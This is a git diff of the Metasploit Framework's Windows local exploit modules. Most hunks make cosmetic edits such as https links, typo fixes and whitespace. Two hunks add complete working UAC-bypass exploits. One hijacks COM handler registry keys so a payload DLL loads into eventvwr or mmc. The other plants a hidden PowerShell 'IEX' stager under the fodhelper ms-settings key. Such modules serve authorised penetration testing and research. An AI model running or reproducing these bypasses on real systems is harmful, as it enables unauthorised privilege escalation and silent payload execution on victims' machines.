diff --git a/modules/exploits/windows/license/flexnet_lmgrd_bof.rb b/modules/exploits/windows/license/flexnet_lmgrd_bof.rb
index d9e40e454b..1dd757b791 100644
--- a/modules/exploits/windows/license/flexnet_lmgrd_bof.rb
+++ b/modules/exploits/windows/license/flexnet_lmgrd_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -198,6 +198,5 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
 
diff --git a/modules/exploits/windows/license/sentinel_lm7_udp.rb b/modules/exploits/windows/license/sentinel_lm7_udp.rb
index a38c77d143..daa05ef519 100644
--- a/modules/exploits/windows/license/sentinel_lm7_udp.rb
+++ b/modules/exploits/windows/license/sentinel_lm7_udp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb
index a099828aee..f1399dc521 100644
--- a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb
+++ b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/local/agnitum_outpost_acs.rb b/modules/exploits/windows/local/agnitum_outpost_acs.rb
index e1f77986c2..4be6fe49d2 100644
--- a/modules/exploits/windows/local/agnitum_outpost_acs.rb
+++ b/modules/exploits/windows/local/agnitum_outpost_acs.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -165,5 +165,4 @@ class MetasploitModule < Msf::Exploit::Local
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/local/always_install_elevated.rb b/modules/exploits/windows/local/always_install_elevated.rb
index 6705abf5e4..e3d88a9a09 100644
--- a/modules/exploits/windows/local/always_install_elevated.rb
+++ b/modules/exploits/windows/local/always_install_elevated.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/local/applocker_bypass.rb b/modules/exploits/windows/local/applocker_bypass.rb
index d51926284a..4665dd436d 100644
--- a/modules/exploits/windows/local/applocker_bypass.rb
+++ b/modules/exploits/windows/local/applocker_bypass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Local
     super(update_info(info,
       'Name'          => 'AppLocker Execution Prevention Bypass',
       'Description'   => %q{
-        This module will generate a .NET service executable on the target and utilise
+        This module will generate a .NET service executable on the target and utilize
         InstallUtil to run the payload bypassing the AppLocker protection.
 
         Currently only the InstallUtil method is provided, but future methods can be
@@ -144,6 +144,5 @@ namespace Pop
 
     cs
   end
-
 end
 
diff --git a/modules/exploits/windows/local/ask.rb b/modules/exploits/windows/local/ask.rb
index 2f944bb45c..bb98ec3416 100644
--- a/modules/exploits/windows/local/ask.rb
+++ b/modules/exploits/windows/local/ask.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/local/bthpan.rb b/modules/exploits/windows/local/bthpan.rb
index cf6d4bd593..e6e0039ccf 100644
--- a/modules/exploits/windows/local/bthpan.rb
+++ b/modules/exploits/windows/local/bthpan.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/local/windows_kernel'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = AverageRanking
 
diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb
index 7c200f7e45..79bd5afd05 100644
--- a/modules/exploits/windows/local/bypassuac.rb
+++ b/modules/exploits/windows/local/bypassuac.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/local/bypassuac_comhijack.rb b/modules/exploits/windows/local/bypassuac_comhijack.rb
new file mode 100644
index 0000000000..b627653a94
--- /dev/null
+++ b/modules/exploits/windows/local/bypassuac_comhijack.rb
@@ -0,0 +1,208 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/exploit/exe'
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Post::Windows::Priv
+  include Post::Windows::Registry
+  include Post::Windows::Runas
+  include Exploit::FileDropper
+
+  CLSID_PATH       = "HKCU\\Software\\Classes\\CLSID"
+  DEFAULT_VAL_NAME = '' # This maps to "(Default)"
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'          => 'Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)',
+      'Description'   => %q{
+        This module will bypass Windows UAC by creating COM handler registry entries in the
+        HKCU hive. When certain high integrity processes are loaded, these registry entries
+        are referenced resulting in the process loading user-controlled DLLs. These DLLs
+        contain the payloads that result in elevated sessions. Registry key modifications
+        are cleaned up after payload invocation.
+
+        This module requires the architecture of the payload to match the OS, but the
+        current low-privilege Meterpreter session architecture can be different. If
+        specifying EXE::Custom your DLL should call ExitProcess() after starting your
+        payload in a separate process.
+
+        This module invokes the target binary via cmd.exe on the target. Therefore if
+        cmd.exe access is restricted, this module will not run correctly.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [
+          'Matt Nelson',    # UAC bypass discovery and research
+          'b33f',           # UAC bypass discovery and research
+          'OJ Reeves'       # MSF module
+        ],
+      'Platform'      => ['win'],
+      'SessionTypes'  => ['meterpreter'],
+      'Targets'       => [
+          ['Automatic', {}]
+      ],
+      'DefaultTarget' => 0,
+      'References'    => [
+        ['URL', 'https://wikileaks.org/ciav7p1/cms/page_13763373.html'],
+        ['URL', 'https://github.com/FuzzySecurity/Defcon25/Defcon25_UAC-0day-All-Day_v1.2.pdf']
+      ],
+      'DisclosureDate'=> 'Jan 01 1900'
+    ))
+  end
+
+  def check
+    if sysinfo['OS'] =~ /Windows (7|8|10|2008|2012|2016)/ && is_uac_enabled?
+      Exploit::CheckCode::Appears
+    else
+      Exploit::CheckCode::Safe
+    end
+  end
+
+  def exploit
+    # Make sure we have a sane payload configuration
+    if sysinfo['Architecture'] != payload_instance.arch.first
+      fail_with(Failure::BadConfig, "#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system")
+    end
+
+    registry_view = REGISTRY_VIEW_NATIVE
+    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
+      registry_view = REGISTRY_VIEW_64_BIT
+    end
+
+    # Validate that we can actually do things before we bother
+    # doing any more work
+    check_permissions!
+
+    case get_uac_level
+      when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
+        UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
+        UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
+        fail_with(Failure::NotVulnerable,
+                  "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
+        )
+      when UAC_DEFAULT
+        print_good('UAC is set to Default')
+        print_good('BypassUAC can bypass this setting, continuing...')
+      when UAC_NO_PROMPT
+        print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
+        shell_execute_exe
+        return
+    end
+
+    payload = generate_payload_dll({:dll_exitprocess => true})
+    commspec = expand_path('%COMSPEC%')
+    dll_name = expand_path("%TEMP%\\#{rand_text_alpha(8)}.dll")
+    hijack = hijack_com(registry_view, dll_name)
+
+    unless hijack && hijack[:cmd_path]
+      fail_with(Failure::Unknown, 'Unable to hijack COM')
+    end
+
+    begin
+      print_status("Targeting #{hijack[:name]} via #{hijack[:root_key]} ...")
+      print_status("Uploading payload to #{dll_name} ...")
+      write_file(dll_name, payload)
+      register_file_for_cleanup(dll_name)
+
+      print_status("Executing high integrity process ...")
+      args = "/c #{expand_path(hijack[:cmd_path])}"
+      args << " #{hijack[:cmd_args]}" if hijack[:cmd_args]
+
+      # Launch the application from cmd.exe instead of directly so that we can
+      # avoid the dreaded 740 error (elevation requried)
+      client.sys.process.execute(commspec, args, {'Hidden' => true})
+
+      # Wait a copule of seconds to give the payload a chance to fire before cleaning up
+      Rex::sleep(5)
+
+      handler(client)
+
+    ensure
+      print_status("Cleaining up registry ...")
+      registry_deletekey(hijack[:root_key], registry_view)
+    end
+  end
+
+  # TODO: Add more hijack points when they're known.
+  # TODO: when more class IDs are found for individual hijackpoints
+  # they can be added to the array of class IDs.
+  @@hijack_points = [
+    {
+      name: 'Event Viewer',
+      cmd_path: '%WINDIR%\System32\eventvwr.exe',
+      class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931']
+    },
+    {
+      name: 'Computer Managment',
+      cmd_path: '%WINDIR%\System32\mmc.exe',
+      cmd_args: 'CompMgmt.msc',
+      class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931']
+    }
+  ]
+
+  #
+  # Perform the hijacking of COM class IDS. This function chooses a random
+  # application target and a random class id associated with it before
+  # modifying the registry.
+  #
+  def hijack_com(registry_view, dll_path)
+    target = @@hijack_points.sample
+    target_clsid = target[:class_ids].sample
+    root_key = "#{CLSID_PATH}\\{#{target_clsid}}"
+    inproc_key = "#{root_key}\\InProcServer32"
+    shell_key = "#{root_key}\\ShellFolder"
+
+    registry_createkey(root_key, registry_view)
+    registry_createkey(inproc_key, registry_view)
+    registry_createkey(shell_key, registry_view)
+
+    registry_setvaldata(inproc_key, DEFAULT_VAL_NAME, dll_path, 'REG_SZ', registry_view)
+    registry_setvaldata(inproc_key, 'ThreadingModel', 'Apartment', 'REG_SZ', registry_view)
+    registry_setvaldata(inproc_key, 'LoadWithoutCOM', '', 'REG_SZ', registry_view)
+    registry_setvaldata(shell_key, 'HideOnDesktop', '', 'REG_SZ', registry_view)
+    registry_setvaldata(shell_key, 'Attributes', 0xf090013d, 'REG_DWORD', registry_view)
+
+    {
+      name:     target[:name],
+      cmd_path: target[:cmd_path],
+      cmd_args: target[:cmd_args],
+      root_key: root_key
+    }
+  end
+
+  def check_permissions!
+    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
+
+    # Check if you are an admin
+    vprint_status('Checking admin status...')
+    admin_group = is_in_admin_group?
+
+    unless check == Exploit::CheckCode::Appears
+      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
+    end
+
+    unless is_in_admin_group?
+      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
+    end
+
+    print_status('UAC is Enabled, checking level...')
+    if admin_group.nil?
+      print_error('Either whoami is not there or failed to execute')
+      print_error('Continuing under assumption you already checked...')
+    else
+      if admin_group
+        print_good('Part of Administrators group! Continuing...')
+      else
+        fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
+      end
+    end
+
+    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
+      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
+    end
+  end
+end
diff --git a/modules/exploits/windows/local/bypassuac_eventvwr.rb b/modules/exploits/windows/local/bypassuac_eventvwr.rb
index b5ef7e52e5..fcaf247e6a 100644
--- a/modules/exploits/windows/local/bypassuac_eventvwr.rb
+++ b/modules/exploits/windows/local/bypassuac_eventvwr.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/local/bypassuac_fodhelper.rb b/modules/exploits/windows/local/bypassuac_fodhelper.rb
new file mode 100644
index 0000000000..888364ce4c
--- /dev/null
+++ b/modules/exploits/windows/local/bypassuac_fodhelper.rb
@@ -0,0 +1,209 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/exploit/exe'
+require 'msf/core/exploit/powershell'
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Exploit::Powershell
+  include Post::Windows::Priv
+  include Post::Windows::Registry
+  include Post::Windows::Runas
+
+  FODHELPER_DEL_KEY     = "HKCU\\Software\\Classes\\ms-settings".freeze
+  FODHELPER_WRITE_KEY   = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command".freeze
+  EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
+  EXEC_REG_VAL          = ''.freeze # This maps to "(Default)"
+  EXEC_REG_VAL_TYPE     = 'REG_SZ'.freeze
+  FODHELPER_PATH        = "%WINDIR%\\System32\\fodhelper.exe".freeze
+  CMD_MAX_LEN           = 16383
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'          => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)',
+        'Description'   => %q{
+          This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
+          the current user hive, and inserting a custom command that will get invoked when
+          the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
+          flag turned off.
+
+          This module modifies a registry key, but cleans up the key once the payload has
+          been invoked.
+
+          The module does not require the architecture of the payload to match the OS. If
+          specifying EXE::Custom your DLL should call ExitProcess() after starting your
+          payload in a separate process.
+        },
+        'License'       => MSF_LICENSE,
+        'Author'        => [
+          'winscriptingblog', # UAC bypass discovery and research
+          'amaloteaux', # MSF module
+        ],
+        'Platform'      => ['win'],
+        'SessionTypes'  => ['meterpreter'],
+        'Targets'       => [
+          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
+          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
+        ],
+        'DefaultTarget' => 0,
+        'References'    => [
+          [
+            'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/',
+            'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'
+          ]
+        ],
+        'DisclosureDate' => 'May 12 2017'
+      )
+    )
+  end
+
+  def check
+    if sysinfo['OS'] =~ /Windows (10)/ && is_uac_enabled?
+      Exploit::CheckCode::Appears
+    else
+      Exploit::CheckCode::Safe
+    end
+  end
+
+  def exploit
+    commspec = '%COMSPEC%'
+    registry_view = REGISTRY_VIEW_NATIVE
+    psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
+
+    # Make sure we have a sane payload configuration
+    if sysinfo['Architecture'] == ARCH_X64
+      if session.arch == ARCH_X86
+        # fodhelper.exe is x64 only exe
+        commspec = '%WINDIR%\\Sysnative\\cmd.exe'
+        if target_arch.first == ARCH_X64
+          # We can't use absolute path here as
+          # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
+          psh_path = "powershell.exe"
+        end
+      end
+      if target_arch.first == ARCH_X86
+        # Invoking x86, so switch to SysWOW64
+        psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe"
+      end
+    else
+      # if we're on x86, we can't handle x64 payloads
+      if target_arch.first == ARCH_X64
+        fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
+      end
+    end
+
+    if !payload.arch.empty? && (payload.arch.first != target_arch.first)
+      fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
+    end
+
+    # Validate that we can actually do things before we bother
+    # doing any more work
+    check_permissions!
+
+    case get_uac_level
+    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
+      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
+      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
+      fail_with(Failure::NotVulnerable,
+                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
+    when UAC_DEFAULT
+      print_good('UAC is set to Default')
+      print_good('BypassUAC can bypass this setting, continuing...')
+    when UAC_NO_PROMPT
+      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
+      shell_execute_exe
+      return
+    end
+
+    payload_value = rand_text_alpha(8)
+    psh_path = expand_path(psh_path)
+
+    template_path = Rex::Powershell::Templates::TEMPLATE_DIR
+    psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
+
+    if psh_payload.length > CMD_MAX_LEN
+      fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")
+    end
+
+    psh_stager = "\"IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
+    cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
+
+    existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
+    exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
+
+    if existing.empty?
+      registry_createkey(FODHELPER_WRITE_KEY, registry_view)
+    end
+
+    print_status("Configuring payload and stager registry keys ...")
+    unless exist_delegate
+      registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
+    end
+
+    registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
+    registry_setvaldata(FODHELPER_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
+
+    # Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
+    cmd_path = expand_path(commspec)
+    cmd_args = expand_path("/c #{FODHELPER_PATH}")
+    print_status("Executing payload: #{cmd_path} #{cmd_args}")
+
+    # We can't use cmd_exec here because it blocks, waiting for a result.
+    client.sys.process.execute(cmd_path, cmd_args, { 'Hidden' => true })
+
+    # Wait a copule of seconds to give the payload a chance to fire before cleaning up
+    # TODO: fix this up to use something smarter than a timeout?
+    Rex::sleep(5)
+
+    handler(client)
+
+    print_status("Cleaining up registry keys ...")
+    unless exist_delegate
+      registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
+    end
+    if existing.empty?
+      registry_deletekey(FODHELPER_DEL_KEY, registry_view)
+    else
+      registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
+    end
+    registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view)
+  end
+
+  def check_permissions!
+    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
+
+    # Check if you are an admin
+    vprint_status('Checking admin status...')
+    admin_group = is_in_admin_group?
+
+    unless check == Exploit::CheckCode::Appears
+      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
+    end
+
+    unless is_in_admin_group?
+      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
+    end
+
+    print_status('UAC is Enabled, checking level...')
+    if admin_group.nil?
+      print_error('Either whoami is not there or failed to execute')
+      print_error('Continuing under assumption you already checked...')
+    else
+      if admin_group
+        print_good('Part of Administrators group! Continuing...')
+      else
+        fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
+      end
+    end
+
+    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
+      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
+    end
+  end
+end
diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb
index 77421315df..42dd874d1f 100644
--- a/modules/exploits/windows/local/bypassuac_injection.rb
+++ b/modules/exploits/windows/local/bypassuac_injection.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -22,11 +22,11 @@ class MetasploitModule < Msf::Exploit::Local
         This module will bypass Windows UAC by utilizing the trusted publisher
         certificate through process injection. It will spawn a second shell that
         has the UAC flag turned off. This module uses the Reflective DLL Injection
-        technique to drop only the DLL payload binary instead of three seperate
+        technique to drop only the DLL payload binary instead of three separate
         binaries in the standard technique. However, it requires the correct
         architecture to be selected, (use x64 for SYSWOW64 systems also).
         If specifying EXE::Custom your DLL should call ExitProcess() after starting
-        your payload in a seperate process.
+        your payload in a separate process.
       },
       'License'       => MSF_LICENSE,
       'Author'        => [
@@ -253,5 +253,4 @@ class MetasploitModule < Msf::Exploit::Local
     path = Rex::Text.to_unicode(path)
     path + "\x00" * (520 - path.length)
   end
-
 end
diff --git a/modules/exploits/windows/local/bypassuac_vbs.rb b/modules/exploits/windows/local/bypassuac_vbs.rb
index 960129a57c..0c5f36b6b0 100644
--- a/modules/exploits/windows/local/bypassuac_vbs.rb
+++ b/modules/exploits/windows/local/bypassuac_vbs.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/local/capcom_sys_exec.rb b/modules/exploits/windows/local/capcom_sys_exec.rb
index fbc5feb86e..8d5ac7ebfa 100644
--- a/modules/exploits/windows/local/capcom_sys_exec.rb
+++ b/modules/exploits/windows/local/capcom_sys_exec.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/windows/reflective_dll_injection'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = NormalRanking
 
@@ -100,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Local
     rescue Rex::Post::Meterpreter::RequestError
       # Reader Sandbox won't allow to create a new process:
       # stdapi_sys_process_execute: Operation failed: Access is denied.
-      print_status('Operation failed. Trying to elevate the current process...')
+      print_error('Operation failed. Trying to elevate the current process...')
       process = client.sys.process.open
     end
 
@@ -123,5 +124,4 @@ class MetasploitModule < Msf::Exploit::Local
 
     print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
   end
-
 end
diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb
index b0e5676c8f..a287570540 100644
--- a/modules/exploits/windows/local/current_user_psexec.rb
+++ b/modules/exploits/windows/local/current_user_psexec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -148,6 +148,5 @@ class MetasploitModule < Msf::Exploit::Local
     end
 
   end
-
 end
 
diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb
index c757d35b39..f70670583b 100644
--- a/modules/exploits/windows/local/ikeext_service.rb
+++ b/modules/exploits/windows/local/ikeext_service.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -148,7 +148,7 @@ class MetasploitModule < Msf::Exploit::Local
   def check_write_access(path)
     perm = check_dir_perms(path, @token)
     if perm and perm.include?('W')
-      print_good ("Write permissions in #{path} - #{perm}")
+      print_good("Write permissions in #{path} - #{perm}")
       return true
     elsif perm
       vprint_status ("Permissions for #{path} - #{perm}")
@@ -271,6 +271,5 @@ class MetasploitModule < Msf::Exploit::Local
       end
     end
   end
-
 end
 
diff --git a/modules/exploits/windows/local/ipass_launch_app.rb b/modules/exploits/windows/local/ipass_launch_app.rb
index d50a3b4ec6..7d076cb84f 100644
--- a/modules/exploits/windows/local/ipass_launch_app.rb
+++ b/modules/exploits/windows/local/ipass_launch_app.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -177,5 +177,4 @@ class MetasploitModule < Msf::Exploit::Local
       fail_with(Failure::Unknown, 'Failed to write to pipe')
     end
   end
-
 end
diff --git a/modules/exploits/windows/local/lenovo_systemupdate.rb b/modules/exploits/windows/local/lenovo_systemupdate.rb
index 80c7d62e0d..6913973e19 100644
--- a/modules/exploits/windows/local/lenovo_systemupdate.rb
+++ b/modules/exploits/windows/local/lenovo_systemupdate.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -189,5 +189,4 @@ class MetasploitModule < Msf::Exploit::Local
     print_status('Stopping service via ConfigService.exe')
     config_service(su_directory, 'stop')
   end
-
 end
diff --git a/modules/exploits/windows/local/mqac_write.rb b/modules/exploits/windows/local/mqac_write.rb
index 58dd9eff6b..7cb5948b5d 100644
--- a/modules/exploits/windows/local/mqac_write.rb
+++ b/modules/exploits/windows/local/mqac_write.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/local/windows_kernel'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = AverageRanking
 
diff --git a/modules/exploits/windows/local/ms10_015_kitrap0d.rb b/modules/exploits/windows/local/ms10_015_kitrap0d.rb
index dc578af7b6..f195409a4f 100644
--- a/modules/exploits/windows/local/ms10_015_kitrap0d.rb
+++ b/modules/exploits/windows/local/ms10_015_kitrap0d.rb
@@ -1,10 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/windows/reflective_dll_injection'
 require 'msf/core/exploit/exe'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = GreatRanking
 
@@ -17,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Local
       'Name'          => 'Windows SYSTEM Escalation via KiTrap0D',
       'Description'   => %q{
         This module will create a new session with SYSTEM privileges via the
-        KiTrap0D exlpoit by Tavis Ormandy. If the session is use is already
+        KiTrap0D exploit by Tavis Ormandy. If the session in use is already
         elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,
         and is not supported on x64 editions of Windows.
       },
@@ -93,6 +94,5 @@ class MetasploitModule < Msf::Exploit::Local
 
     print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
   end
-
 end
 
diff --git a/modules/exploits/windows/local/ms10_092_schelevator.rb b/modules/exploits/windows/local/ms10_092_schelevator.rb
index e5f05e3ab0..c496b14a49 100644
--- a/modules/exploits/windows/local/ms10_092_schelevator.rb
+++ b/modules/exploits/windows/local/ms10_092_schelevator.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -324,5 +324,4 @@ class MetasploitModule < Msf::Exploit::Local
 
     content
   end
-
 end
diff --git a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb
index bcbb792c7c..04c5b66dd2 100644
--- a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb
+++ b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/local/windows_kernel'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = AverageRanking
   # Average because this module relies on memory corruption within the
@@ -25,7 +26,7 @@ class MetasploitModule < Msf::Exploit::Local
         with a call to NtQueryIntervalProfile will execute shellcode.
 
         This module will elevate itself to SYSTEM, then inject the payload
-        into another SYSTEM process before restoring it's own token to
+        into another SYSTEM process before restoring its own token to
         avoid causing system instability.
       ),
       'License'       => MSF_LICENSE,
diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
index a9a246f431..553e32eafd 100644
--- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
+++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -197,7 +197,7 @@ class MetasploitModule < Msf::Exploit::Local
 
       count = count_cmd_procs
       spawned = false
-      print_status("Bruteforcing Taskbar Position")
+      print_status("Brute forcing Taskbar Position")
       9.downto(1) do |number|
         vprint_status("Attempting Win+Shift+#{number}")
         win_shift(number)
